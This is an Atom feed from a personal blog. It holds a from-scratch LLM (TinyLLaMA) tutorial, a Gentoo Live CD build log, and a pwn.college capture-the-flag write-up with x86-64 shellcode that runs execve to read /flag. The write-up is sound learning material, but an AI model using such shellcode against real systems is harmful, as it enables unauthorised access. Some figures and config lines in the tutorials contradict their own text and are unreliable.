<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://hongyi.lu/feed.xml" rel="self" type="application/atom+xml" /><link href="https://hongyi.lu/" rel="alternate" type="text/html" /><updated>2026-02-28T02:20:53+00:00</updated><id>https://hongyi.lu/feed.xml</id><title type="html">Hongyi LU’s Homepage</title><subtitle></subtitle><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><entry><title type="html">LLM from Scratch (TinyLLaMA)</title><link href="https://hongyi.lu/llm_from_scratch/" rel="alternate" type="text/html" title="LLM from Scratch (TinyLLaMA)" /><published>2026-02-11T00:00:00+00:00</published><updated>2026-02-11T00:00:00+00:00</updated><id>https://hongyi.lu/llm_from_scratch</id><content type="html" xml:base="https://hongyi.lu/llm_from_scratch/"><![CDATA[<ul id="markdown-toc">
  <li><a href="#introduction" id="markdown-toc-introduction">Introduction</a>    <ul>
      <li><a href="#ground-rules" id="markdown-toc-ground-rules">Ground Rules</a></li>
    </ul>
  </li>
  <li><a href="#tokenization-from-text-to-tokens" id="markdown-toc-tokenization-from-text-to-tokens">Tokenization: From Text to Tokens</a></li>
  <li><a href="#embeddings-from-tokens-to-vectors" id="markdown-toc-embeddings-from-tokens-to-vectors">Embeddings: From Tokens to Vectors</a></li>
  <li><a href="#attention-where-magic-happens" id="markdown-toc-attention-where-magic-happens">Attention: Where Magic Happens</a></li>
  <li><a href="#kvcache-save-what-have-been-computed" id="markdown-toc-kvcache-save-what-have-been-computed">KVCache: Save What have been Computed</a></li>
  <li><a href="#multi-head-attention-learn-different-rules-of-language" id="markdown-toc-multi-head-attention-learn-different-rules-of-language">Multi-head Attention: Learn Different Rules of Language</a></li>
  <li><a href="#rope-learn-distance-between-tokens" id="markdown-toc-rope-learn-distance-between-tokens">RoPE: Learn Distance between Tokens</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<p>I’ve been wanting to learn about the LLM for quite a long time, but didn’t have
the time to do so until now. So, I decided to implement a simple LLM using my
way of learning, which is to implement it from scratch.</p>

<h3 id="ground-rules">Ground Rules</h3>

<p>I have set some ground rules for myself to follow while implementing the LLM:</p>

<ul>
  <li>No wheels: I will implement everything (except basic ops like <code class="language-plaintext highlighter-rouge">matmul</code>) from
scratch.</li>
  <li>Actual LLM: I will aim to implement inference loop for TinyLLaMA, an actual LLM.</li>
  <li>Understand math, not code: I will study the math behind the LLM.</li>
</ul>

<h2 id="tokenization-from-text-to-tokens">Tokenization: From Text to Tokens</h2>

<p>Languages like English are formed from basic semantic units – words. For LLMs
to understand and process language, we also need to define a set of basic
semantic units – LLM’s vocabulary. An intuitive choice for these units would
be directly using words. However, this approach has an obvious problem: LLMs
wouldn’t be able to recognize any word that is not in its vocabulary, such as
<em>phishy</em>. To solve this problem, LLMs like TinyLLaMA use a more delicate algorithm
named Byte Pair Encoding (BPE) to tokenize words into subword units.</p>

<p>The idea behind BPE is that <em>if certain subword units appear adjacent to each other
frequently, then they are likely to be semantically related and thereby can be
merged.</em></p>

<p>Suppose we have the following sentence.</p>

<blockquote>
  <p>FloydHub is the fastest way to build, train and deploy deep learning models. Build deep learning models in
the cloud. Train deep learning models.</p>
</blockquote>

<p>BPE will start from the most basic unit – letters, and gradually merge
adjacent units that appear frequently together. So, in the beginning, BPE
compute the frequency of each adjacent pair of letters, yielding the following
table.</p>

<table>
  <thead>
    <tr>
      <th>Key</th>
      <th>Count</th>
      <th>Key</th>
      <th>Count</th>
      <th>Key</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>de</td>
      <td>7</td>
      <td>in</td>
      <td>6</td>
      <td>ep</td>
      <td>4</td>
    </tr>
    <tr>
      <td>lo</td>
      <td>3</td>
      <td>ee</td>
      <td>3</td>
      <td>le</td>
      <td>3</td>
    </tr>
    <tr>
      <td>ea</td>
      <td>3</td>
      <td>ar</td>
      <td>3</td>
      <td>rn</td>
      <td>3</td>
    </tr>
    <tr>
      <td>ni</td>
      <td>3</td>
      <td>ng</td>
      <td>3</td>
      <td>mo</td>
      <td>3</td>
    </tr>
    <tr>
      <td>od</td>
      <td>3</td>
      <td>el</td>
      <td>3</td>
      <td>ls</td>
      <td>3</td>
    </tr>
  </tbody>
</table>

<p>So, we can merge the most frequent pair <code class="language-plaintext highlighter-rouge">de</code>, treat it as a single unit, and
represent it as <code class="language-plaintext highlighter-rouge">X</code>. Then we get the following sentence.</p>

<blockquote>
  <p>FloydHub is the fastest way to build, train and Xploy Xep learning moXls. Build Xep learning moXls in
the cloud. Train Xep learning moXls.</p>
</blockquote>

<p>Then we can repeat the same process, merging the most frequent pair into new
units, until we have reached a preferred vocabulary size \(N\). In particular,
if we don’t set a limit on the vocabulary size, we can keep merging until every
unit is a <em>word</em> again, which is the case of using words as tokens.</p>

<p><strong>Why this makes sense?</strong></p>

<p>Though beginning with cruel statistics, BPE can effectively capture the
semantic relationship between subword units. For example, in the above
sentence, <code class="language-plaintext highlighter-rouge">tion</code> appeared in <code class="language-plaintext highlighter-rouge">construction</code>, <code class="language-plaintext highlighter-rouge">location</code>, and <code class="language-plaintext highlighter-rouge">...tion</code> has the
same semantic meaning of being a noun suffix. So, if there are sufficiently
many words that share the same suffix, BPE will eventually merge the suffix
into a single unit, which can be easily recognized by the LLM as a noun suffix.</p>

<p>As TinyLLaMA is trained on a large corpus of text, we are unable to reproduce
its tokenization process. We thereby reuse <code class="language-plaintext highlighter-rouge">autotokenizer</code> from HuggingFace to
tokenize the input text into tokens.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tokenizer</span> <span class="o">=</span> <span class="n">AutoTokenizer</span><span class="p">.</span><span class="n">from_pretrained</span><span class="p">(</span><span class="s">"TinyLlama/TinyLlama-1.1B-Chat-v1.0"</span><span class="p">,</span> <span class="n">cache_dir</span><span class="o">=</span><span class="s">"./"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"--- Test Tokenizer ---"</span><span class="p">)</span>
<span class="n">tokenized</span> <span class="o">=</span> <span class="n">tokenizer</span><span class="p">(</span><span class="s">"Hello, World!"</span><span class="p">)</span>
<span class="n">tokens</span><span class="p">,</span> <span class="n">mask</span> <span class="o">=</span> <span class="n">tokenized</span><span class="p">[</span><span class="s">"input_ids"</span><span class="p">],</span> <span class="n">tokenized</span><span class="p">[</span><span class="s">"attention_mask"</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Hello World! ===&gt; </span><span class="si">{</span><span class="n">tokens</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="embeddings-from-tokens-to-vectors">Embeddings: From Tokens to Vectors</h2>

<p>In the language we use from day to day, we have letters, words. In the world of
AI models, however, we only have numbers and vectors. So, for LLMs to
understand and process language, we need to convert words into numbers. This is
where embeddings come in; it is essentially a function that maps tokens to vectors.
For example, we can have a function \(f\) that maps the token <code class="language-plaintext highlighter-rouge">Love</code> to a numerical vector.</p>

\[f(Love) = [0.2, 0.5, 0.7...]\]

<p>Note that the embedding function is <em>not</em> simply giving every token a random
vector. Instead, it is designed to capture the semantic relationship between
tokens. The following figure illustrates this idea; the word <code class="language-plaintext highlighter-rouge">France</code> is mapped
to a vector that is close to the vector of <code class="language-plaintext highlighter-rouge">Paris</code>, while <code class="language-plaintext highlighter-rouge">Germany</code> is mapped
to a vector that is close to <code class="language-plaintext highlighter-rouge">Berlin</code>. This way, the LLM can understand the
semantic relationship between these words through their embeddings.</p>

<div align="center"><img width="60%" src="https://upload.wikimedia.org/wikipedia/commons/thumb/f/fe/Word_embedding_illustration.svg/1920px-Word_embedding_illustration.svg.png" /></div>

<h2 id="attention-where-magic-happens">Attention: Where Magic Happens</h2>

<p>Attention is the core component of LLMs. It puts three vectors – \(Q\), \(K\) and \(V\) – into
each token; their semantic meaning is as follows:</p>

<ul>
  <li>
    <p>Query (\(Q\)): It represents the token’s query vector, which represents the
token’s query for information from other tokens.</p>
  </li>
  <li>
    <p>Key (\(K\)): It represents the token’s key vector, which, receives a query \(Q\)
and respond how well \(Q\) and itself \(K\) relates.</p>
  </li>
  <li>
    <p>Value (\(V\)): It represents the token’s value vector, which represents the
actual contextual information of the token.</p>
  </li>
</ul>

<p>To obtain these three vectors, LLMs maintain three trainable weight matrices – \(W_Q\), \(W_K\)
and \(W_V\); multiplying token’s embedding with these weight matrices gives us \(Q,K,V\).</p>

\[Q = XW_Q^T, \quad K = XW_K^T, \quad V = XW_V^T\]

<blockquote>
  <p>Why not \(W_Q x\)?</p>

  <p>This is because we want to maintain row-major order for
token’s embedding \(X\), whose shape is <code class="language-plaintext highlighter-rouge">[T, H]</code>. \(T\) is the number of tokens, and
\(H\) is the embedding dimension. Such row-major order is more cache-friendly
as computers store data in a row-major order, i.e., a row \([x_1, x_2, x_3]\)
located in neighboring addresses with better spatial locality while column
\([x_1, x_2, x_3]^T\) is not.</p>
</blockquote>

<p>After we have \(Q,K,V\), we now can do the famous attention equation:</p>

\[\text{Attention}(X) = \text{softmax}(\frac{QK^T}{\sqrt{d}})V\]

<p>Let’s first look at \(QK^T\), it essentially computes the
inner product of each \(q_i=x_iW_Q^T\) and \(k_j=x_jW_K^T\). By easy linear
algebra, \(q_i\cdot k_j^T\) equals to \(x_iW_Q^TW_Kx_j^T\), which is a inner
product between \(x_i\) and \(x_j\) as we’re working with row-major vectors.</p>

<blockquote>
  <p><strong>Inner product’s definition</strong> \(x\cdot y = \|x\|\|y\|cos\theta\). When
both \(x\) and \(y\) are unit vectors, the inner product is simply the cosine
similarity between these vectors. Attention score is also a similarity score
between tokens, with additional information from the weight matrices \(W_Q\)
and \(W_K\).</p>
</blockquote>

<p>The normalization term \(\sqrt{d}\) is to debloat the attention score. Assume
\(q,k\sim N(0,1)\), the variation of \(q\cdot k^T\) is \(\sum_i^d Var(q_ik_i) =
\sum_i^d Var(q_i)*Var(k_i) = \sum_i^d 1 = d\), so dividing by \(\sqrt{d}\) is
equivalent to normalizing the variation of attention score to 1, which prevents
\(\text{softmax}\) from being oversaturated (due to dimension increase) and
thereby having vanishing gradients.</p>

<blockquote>
  <p><strong>Saturated softmax</strong> means that if the input to softmax is out of a
reasonable range, e.g., \(\text{softmax}(x\geq 5)\cong 1\). If all components
of the input vector, due to dimension increase, are larger than 5, then the
output of softmax will all be near a constant 1, which causes the gradient to
vanish (near 0) as constant has zero gradient.</p>
</blockquote>

<h2 id="kvcache-save-what-have-been-computed">KVCache: Save What have been Computed</h2>

<p>In attention computation, we need to compute \(K,Q,V\).</p>

<h2 id="multi-head-attention-learn-different-rules-of-language">Multi-head Attention: Learn Different Rules of Language</h2>

<p>The above mentioned attention is also called single-head attention, as it only
has one set of weight matrices \(W_Q\), \(W_K\) and \(W_V\). However, in
real-world languages, there are different rules that govern the relationship
between tokens, such as semantics, syntax, and so on. These rules might be very
different from each other, so maintaining only one weight matrix causes
training to be difficult as models might struggle to learn different rules back
and forth with different batches of training data.</p>

<p>The idea behind Multi-head Attention (MHA) is simple, we partition weight
matrices \(W_*\) into smaller matrices \(W_*^i\) and let them to interact with
\(x\) separately, learning different rules of language in different heads.</p>

<p>I found it’s simpler to directly understanding the MHA by looking at the shapes
of the matrices. Assuming we have number of tokens \(T\), dimension of
embedding \(H\), then the shape of \(Q,K,V\) would be \([T,H]\). So, if we want
to split them into \(h\) heads, then the shape of each \(Q^i,K^i,V^i\) would be
\([T,H/h]\). We treat these \(Q^i,K^i,V^i\) as usual and plug them into the
attention equation,</p>

\[\text{Attention}(X^i) = \text{softmax}(\frac{Q^i{K^i}^T}{\sqrt{d_i}})V^i\]

<p>We then have \(\text{Attention}(X^i)\) with shape \([T,H/h]\), which can be
concatenated together back to a matrix of shape \([T,H]\), which is the result
of MHA.</p>

<p>How this works? Let’s see the following picture. On the left, we can see MHA
actually doesn’t change the calculation of \(Q,K,V\); we just split them
afterwards. On the right, we can see that the MHA calculates attention using
split \(Q^i,K^i,V^i\). Though this might seem trivial, this actually separate
the gradient of different heads as they are simply concatenated. This allows
the different part of \(W_*\) (i.e., \(W[H,0{:}H/h]\) and \(W[H,H/h{:}H]\)) to
learn different patterns of the language when doing backpropagation.</p>

<p><img src="https://youke.xn--y7xa690gmna.cn/s1/2026/02/12/698da9f346f08.webp" alt="1770891828240.png" /></p>

<p><strong>Variant: Grouped Query Attention</strong></p>

<h2 id="rope-learn-distance-between-tokens">RoPE: Learn Distance between Tokens</h2>

<p>Note that the current form of attention is <em>permutation invariant</em>, which means
that the attention score between two tokens is not affected by their <em>relative
position</em>. This is a problem as the meaning of a sentence is often determined
by the order of words. Therefore, we hope to have a way of injecting positional
information into the attention mechanism.</p>

<p>Clearly, in human language, the relative position between tokens is more
important than their absolute position. Knowing a word in the \(X_{\text{th}}\)
position of a sentence doesn’t tell us much, but knowing that a word is right
after <em>am/is/are</em> can be very informative. Therefore, we want to have a way of
encoding the relative position between tokens into the attention mechanism.</p>

<p>To encoding the relative position between tokens, we can define a linear transformation
\(R_mx_m\), where \(x\) is a token and \(m\) is its absolute position index.</p>

<blockquote>
  <p><strong>What are we doing here?</strong> We wish to encoding the relative position between
token \(m\) and every other tokens \(0,1,..m-1,m+1,..L_{max}\) into the
components \([x_m^1,x_m^2,..,x_m^H]\) of token vector \(x_m\).</p>
</blockquote>

<p>We wish we have the following property for this function:</p>

\[{R_mx_m}^TR_nx_n = g(x_m,x_n,m-n),\quad R_0=I\]

<p>This property means that the inner product between two tokens’ positional
embeddings can be expressed as a function of their relative position \(m-n\).
This way, the attention score between two tokens can be influenced by their
relative position. Particularly, we define \(R_0=I\) for convenience. Moreover,
we also want to have \(R_m\) doesn’t modify vector’s length, i.e.,
\(\|R_mx_m\|=\|x_m\|\). Because, the following equation holds:</p>

\[m=n\Rightarrow (R_mx_m)^T(R_mx_m) = g(x_m,x_m,0) = (R_0x_m)^T(R_0x_m)\Rightarrow \|R_mx_m\|=\|x_m\|\]

<p>As \(R\) maintains length, it can only be a composition of rotation and
reflection. Formally, by <a href="https://en.wikipedia.org/wiki/Polarization_identity">polarization
identity</a>, we can derive
\(R_m\) keep the inner product between any two vectors, i.e., \(x^TR_m^TR_my =
x^Ty\). So, we can further derive that \(R_m^TR_m = I\), which means \(R_m^T =
R_m^{-1}\).</p>

<p>So, in the end, we have:</p>

<ul>
  <li>\(R_0=I\), manually define position \(0\) provides no information</li>
  <li>\(R_m\) is orthogonal matrix, \(R_m^T=R_m^{-1}\)</li>
  <li>\(R_m\) keeps length, \(\|R_mx\|=\|x\|\)</li>
</ul>

<p>This naturally leads us to the idea of using rotation as the linear
transformation.</p>

<p><strong>Rotation in Higher Dimension</strong></p>

<p>It might seem unintuitive to use rotation in higher dimension, but it’s
actually quite simple. A high-dimensional rotation matrix (Givens rotation in
n-dimensions, rotating in the i-j plane):</p>

\[R(i, j, \theta) =
\begin{bmatrix}
1 &amp; &amp; &amp; &amp; &amp; \\
&amp; &amp; \ddots &amp; &amp; &amp; \\
&amp; &amp; \cos\theta &amp; -\sin\theta &amp; &amp; \\
&amp; &amp; \sin\theta &amp; \cos\theta &amp; &amp; \\
&amp; &amp; &amp; \ddots &amp; &amp; \\
&amp; &amp; &amp; &amp; &amp; 1
\end{bmatrix}\]

<p>We can choose a pair of adjacent dimensions (i.e., \(\|i-j\|=1\)), and rotate
around these two dimensions. By repeating this process with multiple different
planes for sufficiently many times, we can obtain any arbitrary rotation.
In this way, we end up with this block-diagonal rotation matrix for RoPE:</p>

\[R_m =
\begin{bmatrix}
\cos m\theta_0 &amp; -\sin m\theta_0 &amp; 0 &amp; 0 &amp; \cdots &amp; 0 &amp; 0 \\
\sin m\theta_0 &amp; \cos m\theta_0 &amp; 0 &amp; 0 &amp; \cdots &amp; 0 &amp; 0 \\
0 &amp; 0 &amp; \cos m\theta_1 &amp; -\sin m\theta_1 &amp; \cdots &amp; 0 &amp; 0 \\
0 &amp; 0 &amp; \sin m\theta_1 &amp; \cos m\theta_1 &amp; \cdots &amp; 0 &amp; 0 \\
\vdots &amp; \vdots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots &amp; \vdots \\
0 &amp; 0 &amp; 0 &amp; 0 &amp; \cdots &amp; \cos m\theta_{d/2-1} &amp; -\sin m\theta_{d/2-1} \\
0 &amp; 0 &amp; 0 &amp; 0 &amp; \cdots &amp; \sin m\theta_{d/2-1} &amp; \cos m\theta_{d/2-1}
\end{bmatrix}\]

<p><strong>Decision of Rotation Angle</strong></p>

<p>The last question is, if \(R_m\) is a rotation matrix, how do we decide the
rotation angle \(\theta_i\). Let’s try a few naive solutions.</p>

<ul>
  <li>Constant angle: \(\theta_i=\theta\)</li>
</ul>

<p>If \(\theta\) is small (low frequency), then the rotation is very slow, words
that are close to each other (e.g., \(2\theta\) and \(\theta\)) might be hard
to distinguish. If \(\theta\) is large (high frequency), then the rotation is
very fast, far-away word (e.g., \(1000\theta\)) would be random (many round of
\(2\pi\)).</p>

<ul>
  <li>Linear formation: \(\theta_i=(2i\pi)/L_{max}\) where \(L_{max}\) is the
 maximum sequence length.</li>
</ul>

<p>The problem here is that linear formation doesn’t cover sufficiently large
frequency space. \(L_{max}\) could be very large (&gt;128K), but the maximum
dimension is more bounded (~2048). Therefore, this formation creates a very
dense frequency space, where \(\theta_{10}=0.0005\) and \(\theta{100}=0.005\)
does make much differences.</p>

<blockquote>
  <p><strong>Why linear formation don’t work?</strong> Recall that we’re trying to encode the
relative position between \(x_m\) with every other tokens
\(x_0,x_1,..,x_{m-1},x_{m+1},..x_{L_{max}}\), which is \(L_{max}-1\)’s
distance. But our token vector only has \(d=H\) components. Any linear
mapping from \(L_{max}\) to \(d/2\) will result in a very dense projection,
which means that many different relative positions will be projected to very
close angles, making them hard to distinguish.</p>
</blockquote>

<p>So, it would be straightforward to use a exponential formation and allow
\(\theta_i\) to grow sparsely across the frequency space to capture all
\(L_{max}-1\) distances, i.e., \(\theta_i=N^{-2i/d}\). The \(2/d\) factor is to
get a dimension-invariant angle. The negative sign is to make sure the angle is
exponentially decreasing, otherwise it will just explode.  (PS: we can make
\(\theta_0=2\pi\), but it won’t be that useful). As for \(N\), it can be
decided based on \(L_{max}\), the longer the sequence is, the more sparse the
frequency space is, so we can choose a larger \(N\). In TinyLLaMA, \(N=10000\).</p>

<p>Exponential formation creates a sparse frequency space, and covers a wide range
of frequencies. Thereby, close words can be distinguished by low-frequency
rotations with smaller \(i\) while far-away words can be distinguished by
high-frequency rotations with larger \(i\).</p>

<table>
  <thead>
    <tr>
      <th>i</th>
      <th>\(\theta_i\)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>1</td>
    </tr>
    <tr>
      <td>10</td>
      <td>0.91</td>
    </tr>
    <tr>
      <td>100</td>
      <td>0.41</td>
    </tr>
    <tr>
      <td>200</td>
      <td>0.17</td>
    </tr>
    <tr>
      <td>500</td>
      <td>0.01</td>
    </tr>
    <tr>
      <td>1000</td>
      <td>0.0001</td>
    </tr>
  </tbody>
</table>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Gentoo Live CD Adventures</title><link href="https://hongyi.lu/gentoo-livecd/" rel="alternate" type="text/html" title="Gentoo Live CD Adventures" /><published>2024-10-01T00:00:00+00:00</published><updated>2024-10-01T00:00:00+00:00</updated><id>https://hongyi.lu/gentoo-livecd</id><content type="html" xml:base="https://hongyi.lu/gentoo-livecd/"><![CDATA[<p>Build a custom Gentoo Live CD.</p>

<h2 id="background">Background</h2>

<p>To study Intel’s latest Linear Address Masking feature, I have my supervisor bought me a ASUS Laptop with latest Intel Ultra 258V CPU. As my usual development environment is built upon Gentoo, I decided to install Gentoo on it and test the LAM feature.</p>

<p>However, when I booted into Gentoo’s Live CD, I found that the kernel is too old and nothing works. The network card is gone, the kernel is spitting out tons of errors in <code class="language-plaintext highlighter-rouge">dmesg</code>.</p>

<h2 id="gentoos-live-cd">Gentoo’s Live CD</h2>

<p>So, I learnt that Gentoo provides tools to build your own Live CD, named <code class="language-plaintext highlighter-rouge">catalyst</code> (not AMD’s driver). This is the guide (https://wiki.gentoo.org/wiki/Catalyst/Custom_Media_Image). The guide is … well … OK.
It just misses the things I need. Long story short, I need solve the following things to get a usable Live CD.</p>

<ol>
  <li>Linux Firmware is too old, only the latest one includes the iwlwifi-bz-***-92 firmware.</li>
  <li>The kernel is too old, it supports neither the firmware nor the CPU.</li>
  <li>Catalyst provides neither guides on how to tweak with the kernel nor the firmware.</li>
</ol>

<h2 id="linux-firmware">Linux Firmware</h2>

<p>The Linux firmware is rather easy to solve. Gentoo has synced with upstream and provides <code class="language-plaintext highlighter-rouge">sys-kernel/linux-firmware-20240909-r1</code>.
By <code class="language-plaintext highlighter-rouge">catalyst</code>’s guide, one can change its <code class="language-plaintext highlighter-rouge">portage</code> behavior by modifying <code class="language-plaintext highlighter-rouge">releng</code>’s config. So, I changed <code class="language-plaintext highlighter-rouge">package.mask</code> to force using the latest firmware.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;sys-kernel/linux-firmware-20240909-r1
</code></pre></div></div>

<h2 id="from-distkernel-to-source-kernel">From distkernel to Source Kernel</h2>

<p>Let alone the Catalyst’s configuration, we first need to let Catalyst to use the latest kernel package.
This is still done via <code class="language-plaintext highlighter-rouge">portage</code>’s configuration. I changed <code class="language-plaintext highlighter-rouge">package.mask</code> to force using the latest kernel.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;sys-kernel/gentoo-sources-6.11.0
</code></pre></div></div>

<p>and allow the latest kernel in <code class="language-plaintext highlighter-rouge">package.accept_keywords</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=sys-kernel/gentoo-sources-6.11.0 ~amd64
</code></pre></div></div>

<h2 id="the-hard-part--source-kernel">The hard part — Source Kernel</h2>

<p>The kernel used by Catalyst is the <code class="language-plaintext highlighter-rouge">gentoo-kernel</code>, which is a pre-built kernel and the latest version is <code class="language-plaintext highlighter-rouge">6.10.12</code>. Sadly, this version
does not support the <code class="language-plaintext highlighter-rouge">iwlwifi-bz-***-92</code> firmware. It only supports <code class="language-plaintext highlighter-rouge">iwlwifi-bz-***-90</code>, which does not exist at all…</p>

<p>So, I need to change the Catalyst’s specification to do the following things.</p>

<ol>
  <li>Add necessary tools for building from the source.</li>
  <li>Change the kernel configuration.</li>
  <li>Change the Catalyst configuration.</li>
</ol>

<h3 id="add-necessary-tools">Add necessary tools</h3>

<p>I added the following packages to <code class="language-plaintext highlighter-rouge">/var/tmp/catalyst/installcd-stage1.spec</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sys-kernel/genkernel        # for building the kernel
dev-util/pahole             # for checking the kernel's data structure   
sys-fs/squashfs-tools       # for mounting the rootfs
</code></pre></div></div>

<h3 id="change-the-kernel-configuration">Change the kernel configuration</h3>

<p>To begin with, the Catalyst does not actually provide a kernel config for sources. So, I just copied the <code class="language-plaintext highlighter-rouge">6.10.12</code> configuration from distkernel.
You can find it in <code class="language-plaintext highlighter-rouge">gentoo-kernel</code>’s <a href="https://gitweb.gentoo.org/repo/gentoo.git/tree/sys-kernel/gentoo-kernel/gentoo-kernel-6.10.12.ebuild">ebuild</a></p>

<p>After I boot into the kernel, the <code class="language-plaintext highlighter-rouge">rootfs</code> is not mounted and the Live CD complains not valid rootfs. Basically, the kernel does not recognize the squashfs filesystem, we need to enable it, not as a module, but as a built-in feature.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CONFIG_BLK_DEV_LOOP=y
CONFIG_SQUASHFS=m
</code></pre></div></div>

<h3 id="change-catalyst-configuration">Change Catalyst configuration</h3>

<p>The original Catalyst configuration contains a part of <code class="language-plaintext highlighter-rouge">dracut</code>, which is for generating the initramfs. However, if you’re using <code class="language-plaintext highlighter-rouge">gentoo-sources</code>, the <code class="language-plaintext highlighter-rouge">genkernel</code> is used to generate the initramfs. So, I removed the <code class="language-plaintext highlighter-rouge">dracut</code> part.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>subarch: amd64
version_stamp: custom_livecd
target: livecd-stage2
rel_type: 23.0-default
profile: default/linux/amd64/23.0/no-multilib
snapshot_treeish: current.xz
source_subpath: 23.0-default/livecd-stage1-amd64-custom_livecd
portage_confdir: /home/john/documents/releng/releases/portage/isos

livecd/bootargs: dokeymap 
livecd/fstype: squashfs
livecd/iso: install-amd64-minimal.iso
livecd/type: gentoo-release-minimal
livecd/volid: Gentoo-amd64

boot/kernel: gentoo
boot/kernel/gentoo/config: /var/tmp/catalyst/kconfig
boot/kernel/gentoo/packages: net-wireless/broadcom-sta 
</code></pre></div></div>

<p>And finally, the Live CD boots up with the network card.</p>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[Build a custom Gentoo Live CD.]]></summary></entry><entry><title type="html">Pwn College Shell Code</title><link href="https://hongyi.lu/shellcode/" rel="alternate" type="text/html" title="Pwn College Shell Code" /><published>2024-09-02T00:00:00+00:00</published><updated>2024-09-02T00:00:00+00:00</updated><id>https://hongyi.lu/shellcode</id><content type="html" xml:base="https://hongyi.lu/shellcode/"><![CDATA[<p>Shellcode challenges in pwn.college.</p>

<h2 id="准备工作">准备工作</h2>

<p>首先，我不希望使用类似于 <code class="language-plaintext highlighter-rouge">pwntool</code> 这类完整的 CTF 框架，这会让我们失去对细节的理解。因此，我们将使用最基础的 <code class="language-plaintext highlighter-rouge">as</code> 作为我们的汇编器。
并且利用 <code class="language-plaintext highlighter-rouge">objcopy</code> 等来生成原生的 shellcode 进行注入。</p>

<h3 id="编译脚本">编译脚本</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
as <span class="nt">--64</span> <span class="nt">-o</span> shell shell.s                        <span class="c"># 指示汇编器生成 64 位的代码。</span>
objcopy <span class="nt">-O</span> binary <span class="nt">-j</span> .text shell shell.bin      <span class="c"># 汇编器生成的文件会包含不必要的元信息，我们使用 objcopy 将 .text 段提取出来。</span>
objdump  <span class="nt">-b</span> binary shell.bin <span class="nt">-m</span> i386:x86-64 <span class="nt">-D</span>  <span class="c"># 输出我们的 shellcode 便于调试。</span>
</code></pre></div></div>

<h2 id="challenge-1-plain-shellcode">Challenge 1 Plain Shellcode</h2>

<p>这个挑战是最基础的 shellcode，程序直接执行我们注入的 shellcode。由于使用了 ASLR 保护，栈地址是完全随机的，所以我们需要确保我们的 shellcode 是位置无关的。</p>

<details>
  <summary>shell.s (剧透警告)</summary>
  <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">.section</span> <span class="nv">.text</span>
<span class="nf">.global</span> <span class="nv">_start</span>
<span class="nl">_start:</span>
	<span class="nf">leaq</span> <span class="nv">cmd</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rdi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rdi</span><span class="p">,</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">arg2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="o">%</span><span class="nb">rsi</span><span class="p">,</span> <span class="nv">argv2</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">)</span>
	<span class="nf">leaq</span> <span class="nv">argv1</span><span class="p">(</span><span class="o">%</span><span class="nv">rip</span><span class="p">),</span> <span class="o">%</span><span class="nb">rsi</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x3b</span><span class="p">,</span> <span class="o">%</span><span class="nb">rax</span>
	<span class="nf">movq</span> <span class="kc">$</span><span class="mh">0x0</span><span class="p">,</span> <span class="o">%</span><span class="nb">rdx</span>
	<span class="nf">syscall</span>

<span class="nl">cmd:</span> <span class="nf">.string</span> <span class="err">"</span><span class="o">/</span><span class="nv">bin</span><span class="o">/</span><span class="nv">cat</span><span class="err">"</span>
<span class="nl">argv1:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	    <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">argv2:</span>  <span class="nf">.long</span> <span class="mi">0</span>
	    <span class="nf">.long</span> <span class="mi">0</span>
	    <span class="nf">.long</span> <span class="mi">0</span>
	    <span class="nf">.long</span> <span class="mi">0</span>
<span class="nl">arg2:</span> <span class="nf">.string</span> <span class="s">"/flag"</span>
</code></pre></div>  </div>

</details>

<p>接下来我们介绍几个重点部分。</p>

<h3 id="lea-指令"><code class="language-plaintext highlighter-rouge">lea</code> 指令</h3>
<p><code class="language-plaintext highlighter-rouge">lea</code> 全称为 Load Effective Address，其作用是将一个地址加载到一个寄存器中，不过不需要纠结，只要记住它的格式。与 <code class="language-plaintext highlighter-rouge">mov</code> 指令不同，<code class="language-plaintext highlighter-rouge">lea</code> 指令不会将地址中的内容加载到寄存器中，而是将地址本身加载到寄存器中。不过不需要纠结这些，只需要记住 <code class="language-plaintext highlighter-rouge">lea</code> 指令所代表的算术运算即可。</p>

<pre><code class="language-assembly">lea o(r1,r2,m), rd
</code></pre>

